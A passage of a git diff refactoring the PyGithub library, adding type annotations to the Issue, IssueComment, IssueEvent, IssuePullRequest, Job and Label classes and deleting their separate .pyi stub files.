[attributes["assignee"]]) else: - self._assignees = self._makeListOfClassesAttribute( - github.NamedUser.NamedUser, [] - ) + self._assignees = self._makeListOfClassesAttribute(github.NamedUser.NamedUser, []) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "closed_at" in attributes: # pragma no branch self._closed_at = self._makeDatetimeAttribute(attributes["closed_at"]) if "closed_by" in attributes: # pragma no branch - self._closed_by = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["closed_by"] - ) + self._closed_by = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["closed_by"]) if "comments" in attributes: # pragma no branch self._comments = self._makeIntAttribute(attributes["comments"]) if "comments_url" in attributes: # pragma no branch @@ -684,17 +546,13 @@ def _useAttributes(self, attributes): if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "labels" in attributes: # pragma no branch - self._labels = self._makeListOfClassesAttribute( - github.Label.Label, attributes["labels"] - ) + self._labels = self._makeListOfClassesAttribute(github.Label.Label, attributes["labels"]) if "labels_url" in attributes: # pragma no branch self._labels_url = self._makeStringAttribute(attributes["labels_url"]) if "locked" in attributes: # pragma no branch self._locked = self._makeBoolAttribute(attributes["locked"]) if "milestone" in attributes: # pragma no branch - self._milestone = self._makeClassAttribute( - github.Milestone.Milestone, attributes["milestone"] - ) + self._milestone = self._makeClassAttribute(github.Milestone.Milestone, attributes["milestone"]) if "number" in attributes: # pragma no branch self._number = self._makeIntAttribute(attributes["number"]) if "pull_request" in attributes: # pragma no branch @@ -702,11 +560,11 @@ def _useAttributes(self, attributes): github.IssuePullRequest.IssuePullRequest, attributes["pull_request"] ) if "repository" in attributes: # pragma no branch - self._repository = self._makeClassAttribute( - github.Repository.Repository, attributes["repository"] - ) + self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) + if "state_reason" in attributes: # pragma no branch + self._state_reason = self._makeStringAttribute(attributes["state_reason"]) if "title" in attributes: # pragma no branch self._title = self._makeStringAttribute(attributes["title"]) if "updated_at" in attributes: # pragma no branch @@ -714,6 +572,6 @@ def _useAttributes(self, attributes): if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) + if "reactions" in attributes: + self._reactions = self._makeDictAttribute(attributes["reactions"]) diff --git a/github/Issue.pyi b/github/Issue.pyi deleted file mode 100644 index 64327cefaa..0000000000 --- a/github/Issue.pyi +++ /dev/null @@ -1,100 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List, Optional, Union - -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.IssueComment import IssueComment -from github.IssueEvent import IssueEvent -from github.IssuePullRequest import IssuePullRequest -from github.Label import Label -from github.Milestone import Milestone -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList -from github.PullRequest import PullRequest -from github.Reaction import Reaction -from github.Repository import Repository -from github.TimelineEvent import TimelineEvent - -class Issue(CompletableGithubObject): - def __repr__(self) -> str: ... - @property - def _identity(self) -> int: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - def add_to_assignees(self, *assignees: Union[NamedUser, str]) -> None: ... - def add_to_labels(self, *labels: Union[Label, str]) -> None: ... - def as_pull_request(self) -> PullRequest: ... - @property - def active_lock_reason(self) -> str: ... - @property - def assignee(self) -> Optional[NamedUser]: ... - @property - def assignees(self) -> List[NamedUser]: ... - @property - def body(self) -> str: ... - @property - def closed_at(self) -> datetime: ... - @property - def closed_by(self) -> Optional[NamedUser]: ... - @property - def comments(self) -> int: ... - @property - def comments_url(self) -> str: ... - def create_comment(self, body: str) -> IssueComment: ... - def create_reaction(self, reaction_type: str) -> Reaction: ... - def get_timeline(self) -> PaginatedList[TimelineEvent]: ... - @property - def created_at(self) -> datetime: ... - def delete_labels(self) -> None: ... - def delete_reaction(self, reaction_id: int) -> bool: ... - def edit( - self, - title: Union[str, _NotSetType] = ..., - body: Union[str, _NotSetType] = ..., - assignee: Optional[Union[str, _NotSetType, NamedUser]] = ..., - state: Union[str, _NotSetType] = ..., - milestone: Optional[Union[Milestone, _NotSetType]] = ..., - labels: Union[_NotSetType, List[str]] = ..., - assignees: Union[_NotSetType, List[str]] = ..., - ) -> None: ... - @property - def events_url(self) -> str: ... - def get_comment(self, id: int) -> IssueComment: ... - def get_comments( - self, since: Union[_NotSetType, datetime] = ... - ) -> PaginatedList[IssueComment]: ... - def get_events(self) -> PaginatedList[IssueEvent]: ... - def get_labels(self) -> PaginatedList[Label]: ... - def get_reactions(self) -> PaginatedList[Reaction]: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def labels(self) -> List[Label]: ... - @property - def labels_url(self) -> str: ... - def lock(self, lock_reason: str) -> None: ... - @property - def locked(self) -> bool: ... - @property - def milestone(self) -> Optional[Milestone]: ... - @property - def number(self) -> int: ... - @property - def pull_request(self) -> IssuePullRequest: ... - def remove_from_assignees(self, *assignees: Union[NamedUser, str]) -> None: ... - def remove_from_labels(self, label: Union[str, Label]) -> None: ... - @property - def repository(self) -> Repository: ... - def set_labels(self, *labels: Union[str, Label]) -> None: ... - @property - def state(self) -> str: ... - @property - def title(self) -> str: ... - def unlock(self) -> None: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def user(self) -> NamedUser: ... diff --git a/github/IssueComment.py b/github/IssueComment.py index 9620a68c66..d8dd9d78e8 100644 --- a/github/IssueComment.py +++ b/github/IssueComment.py @@ -12,7 +12,16 @@ # Copyright 2018 Wan Liuyang # # Copyright 2018 per1234 # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Malik Shahzad Muzaffar # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -32,113 +41,108 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import TYPE_CHECKING, Any + import github.GithubObject import github.NamedUser +from github import Consts +from github.GithubObject import Attribute, CompletableGithubObject, NotSet +from github.PaginatedList import PaginatedList -from . import Consts +if TYPE_CHECKING: + from github.Reaction import Reaction -class IssueComment(github.GithubObject.CompletableGithubObject): +class IssueComment(CompletableGithubObject): """ This class represents IssueComments. The reference can be found here https://docs.github.com/en/rest/reference/issues#comments """ - def __repr__(self): + def _initAttributes(self) -> None: + self._body: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._id: Attribute[int] = NotSet + self._issue_url: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._user: Attribute[github.NamedUser.NamedUser] = NotSet + self._reactions: Attribute[dict] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "user": self._user.value}) @property - def body(self): - """ - :type: string - """ + def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def issue_url(self): - """ - :type: string - """ + def issue_url(self) -> str: self._completeIfNotSet(self._issue_url) return self._issue_url.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def user(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def user(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._user) return self._user.value - def delete(self): + @property + def reactions(self) -> dict: + self._completeIfNotSet(self._reactions) + return self._reactions.value + + def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/comments/{id} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) - def edit(self, body): + def edit(self, body: str) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/issues/comments/{id} `_ - :param body: string - :rtype: None """ assert isinstance(body, str), body post_parameters = { "body": body, } - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def get_reactions(self): + def get_reactions(self) -> PaginatedList[Reaction]: """ :calls: `GET /repos/{owner}/{repo}/issues/comments/{id}/reactions `_ - :return: :class: :class:`github.PaginatedList.PaginatedList` of :class:`github.Reaction.Reaction` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Reaction.Reaction, self._requester, f"{self.url}/reactions", @@ -146,12 +150,10 @@ def get_reactions(self): headers={"Accept": Consts.mediaTypeReactionsPreview}, ) - def create_reaction(self, reaction_type): + def create_reaction(self, reaction_type: str) -> Reaction: """ :calls: `POST /repos/{owner}/{repo}/issues/comments/{id}/reactions `_ - :param reaction_type: string - :rtype: :class:`github.Reaction.Reaction` """ assert isinstance(reaction_type, str), reaction_type post_parameters = { @@ -165,12 +167,10 @@ def create_reaction(self, reaction_type): ) return github.Reaction.Reaction(self._requester, headers, data, completed=True) - def delete_reaction(self, reaction_id): + def delete_reaction(self, reaction_id: int) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions/{reaction_id} `_ - :param reaction_id: integer - :rtype: bool """ assert isinstance(reaction_id, int), reaction_id status, _, _ = self._requester.requestJson( @@ -180,17 +180,7 @@ def delete_reaction(self, reaction_id): ) return status == 204 - def _initAttributes(self): - self._body = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._issue_url = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "created_at" in attributes: # pragma no branch @@ -206,6 +196,6 @@ def _useAttributes(self, attributes): if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "user" in attributes: # pragma no branch - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) + if "reactions" in attributes: + self._reactions = self._makeDictAttribute(attributes["reactions"]) diff --git a/github/IssueComment.pyi b/github/IssueComment.pyi deleted file mode 100644 index b01dc15568..0000000000 --- a/github/IssueComment.pyi +++ /dev/null @@ -1,33 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList -from github.Reaction import Reaction - -class IssueComment(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def body(self) -> str: ... - def create_reaction(self, reaction_type: str) -> Reaction: ... - @property - def created_at(self) -> datetime: ... - def delete(self) -> None: ... - def delete_reaction(self, reaction_id: int) -> bool: ... - def edit(self, body: str) -> None: ... - def get_reactions(self) -> PaginatedList[Reaction]: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def issue_url(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def user(self) -> NamedUser: ... diff --git a/github/IssueEvent.py b/github/IssueEvent.py index aea8f0e0e6..e974004b9a 100644 --- a/github/IssueEvent.py +++ b/github/IssueEvent.py @@ -8,8 +8,16 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # +# Copyright 2018 Aaron L. Levine # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,188 +37,140 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject import github.Issue +import github.Label +import github.Milestone import github.NamedUser +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -class IssueEvent(github.GithubObject.CompletableGithubObject): +class IssueEvent(CompletableGithubObject): """ This class represents IssueEvents. The reference can be found here https://docs.github.com/en/rest/reference/issues#events """ - def __repr__(self): + def _initAttributes(self) -> None: + self._actor: Attribute[github.NamedUser.NamedUser] = NotSet + self._commit_id: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._event: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._issue: Attribute[github.Issue.Issue] = NotSet + self._url: Attribute[str] = NotSet + self._node_id: Attribute[str] = NotSet + self._commit_url: Attribute[str] = NotSet + self._label: Attribute[github.Label.Label] = NotSet + self._assignee: Attribute[github.NamedUser.NamedUser] = NotSet + self._assigner: Attribute[github.NamedUser.NamedUser] = NotSet + self._review_requester: Attribute[github.NamedUser.NamedUser] = NotSet + self._requested_reviewer: Attribute[github.NamedUser.NamedUser] = NotSet + self._milestone: Attribute[github.Milestone.Milestone] = NotSet + self._rename: Attribute[dict] = NotSet + self._dismissed_review: Attribute[dict] = NotSet + self._lock_reason: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property - def actor(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def actor(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._actor) return self._actor.value @property - def commit_id(self): - """ - :type: string - """ + def commit_id(self) -> str: self._completeIfNotSet(self._commit_id) return self._commit_id.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def event(self): - """ - :type: string - """ + def event(self) -> str: self._completeIfNotSet(self._event) return self._event.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def issue(self): - """ - :type: :class:`github.Issue.Issue` - """ + def issue(self) -> github.Issue.Issue: self._completeIfNotSet(self._issue) return self._issue.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def node_id(self): - """ - :type: string - """ + def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property - def commit_url(self): - """ - :type: string - """ + def commit_url(self) -> str: self._completeIfNotSet(self._commit_url) return self._commit_url.value @property - def label(self): - """ - :type: :class:`github.Label.Label` - """ + def label(self) -> github.Label.Label: self._completeIfNotSet(self._label) return self._label.value @property - def assignee(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def assignee(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._assignee) return self._assignee.value @property - def assigner(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def assigner(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._assigner) return self._assigner.value @property - def review_requester(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def review_requester(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._review_requester) return self._review_requester.value @property - def requested_reviewer(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def requested_reviewer(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._requested_reviewer) return self._requested_reviewer.value @property - def milestone(self): - """ - :type: :class:`github.Milestone.Milestone` - """ + def milestone(self) -> github.Milestone.Milestone: self._completeIfNotSet(self._milestone) return self._milestone.value @property - def rename(self): - """ - :type: dict - """ + def rename(self) -> dict: self._completeIfNotSet(self._rename) return self._rename.value @property - def dismissed_review(self): - """ - :type: dict - """ + def dismissed_review(self) -> dict: self._completeIfNotSet(self._dismissed_review) return self._dismissed_review.value @property - def lock_reason(self): - """ - :type: string - """ + def lock_reason(self) -> str: self._completeIfNotSet(self._lock_reason) return self._lock_reason.value - def _initAttributes(self): - self._actor = github.GithubObject.NotSet - self._commit_id = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._event = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._issue = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._node_id = github.GithubObject.NotSet - self._commit_url = github.GithubObject.NotSet - self._label = github.GithubObject.NotSet - self._assignee = github.GithubObject.NotSet - self._assigner = github.GithubObject.NotSet - self._review_requester = github.GithubObject.NotSet - self._requested_reviewer = github.GithubObject.NotSet - self._milestone = github.GithubObject.NotSet - self._rename = github.GithubObject.NotSet - self._dismissed_review = github.GithubObject.NotSet - self._lock_reason = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "actor" in attributes: # pragma no branch - self._actor = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["actor"] - ) + self._actor = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["actor"]) if "commit_id" in attributes: # pragma no branch self._commit_id = self._makeStringAttribute(attributes["commit_id"]) if "created_at" in attributes: # pragma no branch @@ -220,9 +180,7 @@ def _useAttributes(self, attributes): if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "issue" in attributes: # pragma no branch - self._issue = self._makeClassAttribute( - github.Issue.Issue, attributes["issue"] - ) + self._issue = self._makeClassAttribute(github.Issue.Issue, attributes["issue"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "node_id" in attributes: # pragma no branch @@ -230,17 +188,11 @@ def _useAttributes(self, attributes): if "commit_url" in attributes: # pragma no branch self._commit_url = self._makeStringAttribute(attributes["commit_url"]) if "label" in attributes: # pragma no branch - self._label = self._makeClassAttribute( - github.Label.Label, attributes["label"] - ) + self._label = self._makeClassAttribute(github.Label.Label, attributes["label"]) if "assignee" in attributes: # pragma no branch - self._assignee = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["assignee"] - ) + self._assignee = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["assignee"]) if "assigner" in attributes: # pragma no branch - self._assigner = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["assigner"] - ) + self._assigner = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["assigner"]) if "review_requester" in attributes: # pragma no branch self._review_requester = self._makeClassAttribute( github.NamedUser.NamedUser, attributes["review_requester"] @@ -250,14 +202,10 @@ def _useAttributes(self, attributes): github.NamedUser.NamedUser, attributes["requested_reviewer"] ) if "milestone" in attributes: # pragma no branch - self._milestone = self._makeClassAttribute( - github.Milestone.Milestone, attributes["milestone"] - ) + self._milestone = self._makeClassAttribute(github.Milestone.Milestone, attributes["milestone"]) if "rename" in attributes: # pragma no branch self._rename = self._makeDictAttribute(attributes["rename"]) if "dismissed_review" in attributes: # pragma no branch - self._dismissed_review = self._makeDictAttribute( - attributes["dismissed_review"] - ) + self._dismissed_review = self._makeDictAttribute(attributes["dismissed_review"]) if "lock_reason" in attributes: # pragma no branch self._lock_reason = self._makeStringAttribute(attributes["lock_reason"]) diff --git a/github/IssueEvent.pyi b/github/IssueEvent.pyi deleted file mode 100644 index 03720ade76..0000000000 --- a/github/IssueEvent.pyi +++ /dev/null @@ -1,49 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, Optional, Union - -from github.GithubObject import CompletableGithubObject -from github.Issue import Issue -from github.Label import Label -from github.Milestone import Milestone -from github.NamedUser import NamedUser - -class IssueEvent(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def actor(self) -> NamedUser: ... - @property - def assignee(self) -> Optional[NamedUser]: ... - @property - def assigner(self) -> Optional[NamedUser]: ... - @property - def commit_id(self) -> Optional[str]: ... - @property - def commit_url(self) -> Optional[str]: ... - @property - def created_at(self) -> datetime: ... - @property - def dismissed_review(self) -> Optional[Dict[str, Union[str, int]]]: ... - @property - def event(self) -> str: ... - @property - def id(self) -> int: ... - @property - def issue(self) -> Issue: ... - @property - def label(self) -> Optional[Label]: ... - @property - def lock_reason(self) -> Optional[str]: ... - @property - def milestone(self) -> Optional[Milestone]: ... - @property - def node_id(self) -> str: ... - @property - def rename(self) -> Optional[Dict[str, str]]: ... - @property - def requested_reviewer(self) -> Optional[NamedUser]: ... - @property - def review_requester(self) -> Optional[NamedUser]: ... - @property - def url(self) -> str: ... diff --git a/github/IssuePullRequest.py b/github/IssuePullRequest.py index b7d73da6f9..42a1e69a1c 100644 --- a/github/IssuePullRequest.py +++ b/github/IssuePullRequest.py @@ -8,6 +8,11 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,41 +32,35 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict -class IssuePullRequest(github.GithubObject.NonCompletableGithubObject): +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class IssuePullRequest(NonCompletableGithubObject): """ This class represents IssuePullRequests """ + def _initAttributes(self) -> None: + self._diff_url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._patch_url: Attribute[str] = NotSet + @property - def diff_url(self): - """ - :type: string - """ + def diff_url(self) -> str: return self._diff_url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: return self._html_url.value @property - def patch_url(self): - """ - :type: string - """ + def patch_url(self) -> str: return self._patch_url.value - def _initAttributes(self): - self._diff_url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._patch_url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "diff_url" in attributes: # pragma no branch self._diff_url = self._makeStringAttribute(attributes["diff_url"]) if "html_url" in attributes: # pragma no branch diff --git a/github/IssuePullRequest.pyi b/github/IssuePullRequest.pyi deleted file mode 100644 index c1a2eae78e..0000000000 --- a/github/IssuePullRequest.pyi +++ /dev/null @@ -1,13 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class IssuePullRequest(NonCompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def diff_url(self) -> str: ... - @property - def html_url(self) -> str: ... - @property - def patch_url(self) -> str: ... diff --git a/github/Job.py b/github/Job.py index 3afaee75e6..da378e5bb9 100644 --- a/github/Job.py +++ b/github/Job.py @@ -81,18 +81,18 @@ def _useAttributes(self, attributes): if "name" in attributes: self._name = self._makeStringAttribute(attributes["name"]) if "completed_at" in attributes: # pragma no branch - assert attributes["completed_at"] is None or isinstance( - attributes["completed_at"], str - ), attributes["completed_at"] + assert attributes["completed_at"] is None or isinstance(attributes["completed_at"], str), attributes[ + "completed_at" + ] self._completed_at = self._makeDatetimeAttribute(attributes["completed_at"]) if "conclusion" in attributes: # pragma no branch self._conclusion = self._makeStringAttribute(attributes["conclusion"]) if "number" in attributes: # pragma no branch self._number = self._makeIntAttribute(attributes["number"]) if "started_at" in attributes: # pragma no branch - assert attributes["started_at"] is None or isinstance( - attributes["started_at"], str - ), attributes["started_at"] + assert attributes["started_at"] is None or isinstance(attributes["started_at"], str), attributes[ + "started_at" + ] self._started_at = self._makeDatetimeAttribute(attributes["started_at"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) @@ -208,9 +208,9 @@ def _useAttributes(self, attributes): if "id" in attributes: self._id = self._makeIntAttribute(attributes["id"]) if "completed_at" in attributes: # pragma no branch - assert attributes["completed_at"] is None or isinstance( - attributes["completed_at"], str - ), attributes["completed_at"] + assert attributes["completed_at"] is None or isinstance(attributes["completed_at"], str), attributes[ + "completed_at" + ] self._completed_at = self._makeDatetimeAttribute(attributes["completed_at"]) if "conclusion" in attributes: # pragma no branch self._conclusion = self._makeStringAttribute(attributes["conclusion"]) @@ -227,9 +227,9 @@ def _useAttributes(self, attributes): if "run_url" in attributes: # pragma no branch self._run_url = self._makeStringAttribute(attributes["run_url"]) if "started_at" in attributes: # pragma no branch - assert attributes["started_at"] is None or isinstance( - attributes["started_at"], str - ), attributes["started_at"] + assert attributes["started_at"] is None or isinstance(attributes["started_at"], str), attributes[ + "started_at" + ] self._started_at = self._makeDatetimeAttribute(attributes["started_at"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) diff --git a/github/Job.pyi b/github/Job.pyi index 5419bccdfc..fddf510371 100644 --- a/github/Job.pyi +++ b/github/Job.pyi @@ -1,9 +1,8 @@ from datetime import datetime -from typing import Dict, Any, List +from typing import Any, Dict, List import github.GithubObject - class JobStep(github.GithubObject.CompletableGithubObject): @property def completed_at(self) -> datetime: ... @@ -20,7 +19,6 @@ class JobStep(github.GithubObject.CompletableGithubObject): def _initAttributes(self) -> None: ... def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - class Job(github.GithubObject.CompletableGithubObject): @property def check_run_url(self) -> str: ... diff --git a/github/Label.py b/github/Label.py index 1d83d3c148..b8658e3316 100644 --- a/github/Label.py +++ b/github/Label.py @@ -9,7 +9,16 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Mateusz Loskot # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -30,78 +39,60 @@ ################################################################################ import urllib.parse +from typing import Any, Dict -import github.GithubObject +from github import Consts +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_optional -from . import Consts - -class Label(github.GithubObject.CompletableGithubObject): +class Label(CompletableGithubObject): """ This class represents Labels. The reference can be found here https://docs.github.com/en/rest/reference/issues#labels """ - def __repr__(self): + def _initAttributes(self) -> None: + self._color: Attribute[str] = NotSet + self._description: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property - def color(self): - """ - :type: string - """ + def color(self) -> str: self._completeIfNotSet(self._color) return self._color.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/labels/{name} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) - def edit(self, name, color, description=github.GithubObject.NotSet): + def edit(self, name: str, color: str, description: Opt[str] = NotSet) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/labels/{name} `_ - :param name: string - :param color: string - :param description: string - :rtype: None """ assert isinstance(name, str), name assert isinstance(color, str), color - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - post_parameters = { - "new_name": name, - "color": color, - } - if description is not github.GithubObject.NotSet: - post_parameters["description"] = description + assert is_optional(description, str), description + post_parameters = NotSet.remove_unset_items({"new_name": name, "color": color, "description": description}) headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, @@ -111,16 +102,10 @@ def edit(self, name, color, description=github.GithubObject.NotSet): self._useAttributes(data) @property - def _identity(self): + def _identity(self) -> str: return urllib.parse.quote(self.name) - def _initAttributes(self): - self._color = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "color" in attributes: # pragma no branch self._color = self._makeStringAttribute(attributes["color"]) if "description" in attributes: # pragma no branch diff --git a/github/Label.pyi b/github/Label.pyi deleted file mode 100644 index cc24477a4e..0000000000 --- a/github/Label.pyi +++ /dev/null @@ -1,22 +0,0 @@ -from typing import Any, Dict, Optional, Union - -from github.GithubObject import CompletableGithubObject, _NotSetType - -class Label(CompletableGithubObject): - def __repr__(self) -> str: ... - @property - def _identity(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def color(self) -> str: ... - def delete(self) -> None: ... - @property - def description(self) -> Optional[str]: ... - def edit( - self, name: str, color: str, description: Union[str, _NotSetType] = ... - ) -> None: ... - @property - def name(self) -> str: ... - @property - def url(self) -> str: ... diff --git a/github/License.py b/github/License.py index 